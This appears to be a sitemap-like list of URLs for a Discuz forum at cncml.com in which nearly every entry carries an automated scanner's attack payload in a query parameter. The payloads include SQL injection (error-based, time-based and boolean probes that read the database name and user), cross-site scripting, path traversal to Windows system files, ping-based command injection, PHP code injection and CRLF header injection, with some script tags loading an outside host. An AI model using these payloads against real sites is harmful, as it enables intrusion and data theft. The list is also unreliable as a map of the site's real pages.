http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply);%20IF(19=19)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply);%20IF(59=77)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply6633x3X6 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=replyAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=replyJyI%3D 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=replyalert(42873) 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=replye360 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=%3Cdir 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(21=21)*224 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(72=13)*224 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(SELECT%20(CASE%20WHEN%20(16=16)%20THEN%20224%20ELSE%2016*(SELECT%2016%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(SELECT%20(CASE%20WHEN%20(17=89)%20THEN%20224%20ELSE%2017*(SELECT%2017%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(SELECT%20(CASE%20WHEN%20(19=19)%20THEN%20224%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(SELECT%20(CASE%20WHEN%20(28=66)%20THEN%20224%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(SELECT%20(CASE%20WHEN%20(31=92)%20THEN%20224%20ELSE%2031*(SELECT%2031%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(SELECT%20(CASE%20WHEN%20(61=64)%20THEN%20224%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(SELECT%20(CASE%20WHEN%20(69=69)%20THEN%20224%20ELSE%2069*(SELECT%2069%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(SELECT%20(CASE%20WHEN%20(75=68)%20THEN%20224%20ELSE%2075*(SELECT%2075%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(SELECT%20(CASE%20WHEN%20(79=79)%20THEN%20224%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%20224%20ELSE%2091*(SELECT%2091%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%00' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20RLIKE%20(SELECT%20(CASE%20WHEN%20(26=15)%20THEN%20224%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20RLIKE%20(SELECT%20(CASE%20WHEN%20(65=65)%20THEN%20224%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%22%20AND%20%229V%22=%22oR 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%22)%20AND%2029=75%20AND%20(%22Mj%22=%22Mj 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25%22%29%20AND%2047%3D56%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25%27%29%20AND%2024%3D24%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25%27%29%20AND%2042%3D14%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25'%20AND%2031=18%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25'%20AND%2048=48%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=79)%20THEN%20224%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(43=43)%20THEN%20224%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%2527 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%5C%22 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%5C' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224%bf%27 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND%20'H1'%20LIKE%20'H1 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND%20'Qs'='pn 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND%20'XN'%20LIKE%20'wW 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND%20'fx'='fx 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 